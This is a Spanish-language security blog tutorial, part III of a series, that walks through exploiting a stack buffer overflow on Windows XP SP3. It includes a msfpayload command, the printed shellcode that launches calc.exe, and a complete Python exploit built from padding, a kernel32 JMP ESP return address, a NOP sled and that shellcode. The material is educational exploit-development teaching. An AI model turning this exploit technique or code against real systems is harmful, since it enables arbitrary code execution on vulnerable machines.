sábado, 31 de marzo de 2012

Explotación de vulnerabilidades - Stack Buffer Overflow (Parte III)

En la anterior entrada de la serie de explotación de “Stack Buffer Overflow”, se vio cómo detectar si nuestra aplicación era vulnerable y cómo averiguar la posición exacta de la dirección de retorno. Hoy se procederá con los siguientes pasos para poder realizar ejecución de código arbitrario en la aplicación vulnerable.

3 - Salto a la shellcode

Como ya se comentó en la entrada anterior, es necesario realizar un salto a nuestra ShellCode para que esta sea ejecutada y consigamos nuestro objetivo. Para realizar este proceso, deberemos averiguar la dirección exacta de nuestra ShellCode y sobrescribir la dirección de retorno con ese valor.

Se me ocurren dos modos simples de almacenar nuestra ShellCode en memoria.

image

  1. Después de la dirección de retorno: Únicamente deberemos sobrescribir la dirección de retorno con la siguiente dirección de la PILA, la cual coincidirá con el inicio de la ShellCode.
  2. Antes de la dirección de retorno: Debido a que anteriormente se está utilizando la PILA para almacenar información, este es un buen sitio para alojar nuestra ShellCode. Hay que tener en cuenta que dicho espacio es mucho más limitado que la primera opción.

PROBLEMA:

Si os habéis fijado en las capturas donde salía información de las direcciones de la PILA, estas siempre empezaban con el valor “0x00”. Esto es un problema, ya que si intentamos sobrescribir la dirección de retorno con una dirección similar a “0x002205F2”, la aplicación procesará el valor “00” como final de cadena y no conseguiremos sobrescribir la dirección de retorno correctamente, por lo que no conseguiremos explotar la vulnerabilidad.

Posible SOLUCIÓN:

Librerías de Windows como KERNEL32.dll o NTDLL.dll, son cargadas siempre en la misma dirección de memoria (problema que solventa ASLR) por una aplicación, estas disponen de conjuntos de instrucciones que realizan saltos a ESP (JMP ESP o CALL ESP), de los cuales nos podemos aprovechar para saltar a nuestra ShellCode. Un ejemplo visual del proceso de explotación podría ser el siguiente.

image

NOTA: El problema anteriormente explicado, no siempre se encuentra, en vulnerabilidades donde el exploit es enviado mediante protocolos de red o se encuentra en un fichero que posteriormente utilizará la aplicación, no haría falta realizar este paso intermedio.

4 - Creación del exploit

La fase de la creación del exploit se basa en unificar todos los apartados anteriores desarrollando un código que los interprete.

La estructura que podemos utilizar para este tipo de exploits es la siguiente:

Exploit = Buffer + RET + ShellCode

NOTA: El código fuente del exploit será realizando en el lenguaje Python, sencillo y fácil de interpretar.

Como ya se vio en la anterior entrega, el buffer necesario hasta llegar a la dirección de retorno eran 28 bytes, por lo que iniciaremos el exploit con una cadena con esa cantidad de bytes.

Buffer = "\x41"*28

El valor que utilizaremos para sobrescribir la dirección de retorno en este caso es 0x7C86467B, asociado a la instrucción “JMP ESP” de la librería Kernel32.dll en un Windows XP SP3 en español. Una forma rápida de conseguir este tipo de direcciones es mediante la búsqueda de la cadena “JMP ESP”, una vez la aplicación vulnerable ha sido desensamblada o utilizando la herramienta FindJmp.

RET = "\x7b\x46\x86\x7c" # 0x7c86467b en Little-endian

Hasta aquí ya se habrá conseguido que la aplicación realice un salto a la librería Kernel32.dll, para posteriormente saltar a nuestra ShellCode mediante la instrucción “JMP ESP”, únicamente faltaría introducir nuestra ShellCode en el exploit para que al vulnerar la aplicación esta realice la función que nosotros queramos.

Para la generación de nuestra ShellCode utilizaremos la aplicación msfpayload y msfencode del framework de mestasploit. En nuestro caso nos bastará con ejecutar una calculadora para comprobar la explotación de la vulnerabilidad, aunque podríamos realizar otro tipo de funciones cómo: ejecución de cualquier aplicación del sistema operativo, apertura de puertos asociados a una Shell del SO, conexiones inversas, etcétera.

Comando: ruby msfpayload windows/exec cmd=calc.exe R | ruby msfencode -b '\x00\x09\x20\x22' -t c

Resultado:

"\xd9\xc9\xd9\x74\x24\xf4\xb8\xba\xb2\x07\x97\x5b\x2b\xc9"
"\xb1\x33\x83\xeb\xfc\x31\x43\x13\x03\xf9\xa1\xe5\x62\x01"
"\x2d\x60\x8c\xf9\xae\x13\x04\x1c\x9f\x01\x72\x55\xb2\x95"
"\xf0\x3b\x3f\x5d\x54\xaf\xb4\x13\x71\xc0\x7d\x99\xa7\xef"
"\x7e\x2f\x68\xa3\xbd\x31\x14\xb9\x91\x91\x25\x72\xe4\xd0"
"\x62\x6e\x07\x80\x3b\xe5\xba\x35\x4f\xbb\x06\x37\x9f\xb0"
"\x37\x4f\x9a\x06\xc3\xe5\xa5\x56\x7c\x71\xed\x4e\xf6\xdd"
"\xce\x6f\xdb\x3d\x32\x26\x50\xf5\xc0\xb9\xb0\xc7\x29\x88"
"\xfc\x84\x17\x25\xf1\xd5\x50\x81\xea\xa3\xaa\xf2\x97\xb3"
"\x68\x89\x43\x31\x6d\x29\x07\xe1\x55\xc8\xc4\x74\x1d\xc6"
"\xa1\xf3\x79\xca\x34\xd7\xf1\xf6\xbd\xd6\xd5\x7f\x85\xfc"
"\xf1\x24\x5d\x9c\xa0\x80\x30\xa1\xb3\x6c\xec\x07\xbf\x9e"
"\xf9\x3e\xe2\xf4\xfc\xb3\x98\xb1\xff\xcb\xa2\x91\x97\xfa"
"\x29\x7e\xef\x02\xf8\x3b\x1f\x49\xa1\x6d\x88\x14\x33\x2c"
"\xd5\xa6\xe9\x72\xe0\x24\x18\x0a\x17\x34\x69\x0f\x53\xf2"
"\x81\x7d\xcc\x97\xa5\xd2\xed\xbd\xc5\xb5\x7d\x5d\x24\x50"
"\x06\xc4\x38"

Me gustaría resaltar el parámetro “-b” del comando msfencode, utilizado para descartar los valores introducidos en el resultado de la ShellCode, muy útil cuando se sabe que ciertos valores no son bien interpretados por la aplicación.

Debido que la aplicación se explota a través de la introducción de una cadena por sus argumentos, en el propio exploit, llamaremos a la aplicación para así pasarle nuestra cadena y conseguir la ejecución de código.

El código final del exploit quedaría del siguiente modo:

'''
Title: Stack Buffer Overflow Exploit - Sencillo
Author: Daniel Romero Perez
Mail: unlearnsecurity@gmail.com
Blog: unlearningsecurity.blogspot.com
'''
import os

#Buffer
Buffer = "\x41"*28
#RET
RET = "\x7b\x46\x86\x7c"
#Nops
Nops = "\x90"*10
# ShellCode (msfpayload windows/exec cmd=calc.exe R | msfencode -b '\x00\x09\x20\x22' -t c)
ShellCode = ("\xd9\xc9\xd9\x74\x24\xf4\xb8\xba\xb2\x07\x97\x5b\x2b\xc9"
"\xb1\x33\x83\xeb\xfc\x31\x43\x13\x03\xf9\xa1\xe5\x62\x01"
"\x2d\x60\x8c\xf9\xae\x13\x04\x1c\x9f\x01\x72\x55\xb2\x95"
"\xf0\x3b\x3f\x5d\x54\xaf\xb4\x13\x71\xc0\x7d\x99\xa7\xef"
"\x7e\x2f\x68\xa3\xbd\x31\x14\xb9\x91\x91\x25\x72\xe4\xd0"
"\x62\x6e\x07\x80\x3b\xe5\xba\x35\x4f\xbb\x06\x37\x9f\xb0"
"\x37\x4f\x9a\x06\xc3\xe5\xa5\x56\x7c\x71\xed\x4e\xf6\xdd"
"\xce\x6f\xdb\x3d\x32\x26\x50\xf5\xc0\xb9\xb0\xc7\x29\x88"
"\xfc\x84\x17\x25\xf1\xd5\x50\x81\xea\xa3\xaa\xf2\x97\xb3"
"\x68\x89\x43\x31\x6d\x29\x07\xe1\x55\xc8\xc4\x74\x1d\xc6"
"\xa1\xf3\x79\xca\x34\xd7\xf1\xf6\xbd\xd6\xd5\x7f\x85\xfc"
"\xf1\x24\x5d\x9c\xa0\x80\x30\xa1\xb3\x6c\xec\x07\xbf\x9e"
"\xf9\x3e\xe2\xf4\xfc\xb3\x98\xb1\xff\xcb\xa2\x91\x97\xfa"
"\x29\x7e\xef\x02\xf8\x3b\x1f\x49\xa1\x6d\x88\x14\x33\x2c"
"\xd5\xa6\xe9\x72\xe0\x24\x18\x0a\x17\x34\x69\x0f\x53\xf2"
"\x81\x7d\xcc\x97\xa5\xd2\xed\xbd\xc5\xb5\x7d\x5d\x24\x50"
"\x06\xc4\x38");

#Payload
payload = Buffer + RET + Nops + ShellCode
#Argumentos
args = ('arg0', payload)
#Ejecucion de la app con argumentos
data = os.execv("C:\\Documents and Settings\\admin\\Escritorio\\app_vulnerable.exe" ,args)

Si os fijáis se ha introducido en el código la cadena (Nops = "\x90"*10), siempre es bueno añadir algunos NOP’s antes de la ShellCode para solventar problemas de alineación al ejecutar la misma.

Ejecutamos el exploit y.. FUNCIONA!!, hemos conseguido ejecutar código arbitrario en una aplicación vulnerable, dando como resultado una calculadora.

Añado un esquema de lo sucedido interiormente en la aplicación para aclarar la ejecución del código.

image

1.  Sobrescribimos la PILA con el buffer generado en el exploit, remarcando la dirección de memoria de la librería Kernel32.dll.
2.  Al finalizar la subfunción y ejecutar la instrucción RETN, saltaremos a la librería Kernel32.dll sobrescribiendo el registro EIP.
3.  Se ejecuta la instrucción “JMP ESP” y saltamos a nuestra ShellCode.
4.  Ejecutamos el código de nuestra ShellCode y aparece nuestra calculadora.

Existen distintas formas de realizar el salto hacia nuestra ShellCode para conseguir la ejecución de código en nuestra aplicación vulnerable, en futuras entradas detallaré algunas de ellas.

NOTA: Me gustaría aclarar que para la realización del ejemplo anterior, no han intervenido ningún tipo de protección en el ejecutable tales como SafeSEH, DEP, ASLR, etcétera.

Con esto finaliza la serie de entradas “Explotación de vulnerabilidades - Stack Buffer Overflow”, espero que os haya gustado ;)

Un Saludo!!

2 comentarios:

  1. Después de leer un par de publicaciones lo pude realizar en Windows XP.
    Aunque en vez de utilizar un "jmp esp" me toco usar el "push esp,ret".

    Voy a hacer un par de pruebas con alguna aplicación más "sofisticada" y luego me pondre a ver el tema de Bypass de SEH que lamentablemente esta muy presente en el Win7 u.u

    Gracias por los aportes.

    ResponderEliminar
    Respuestas
    1. Buena opción también la de realizar un "PUSH ESP / RET" :)

      Eliminar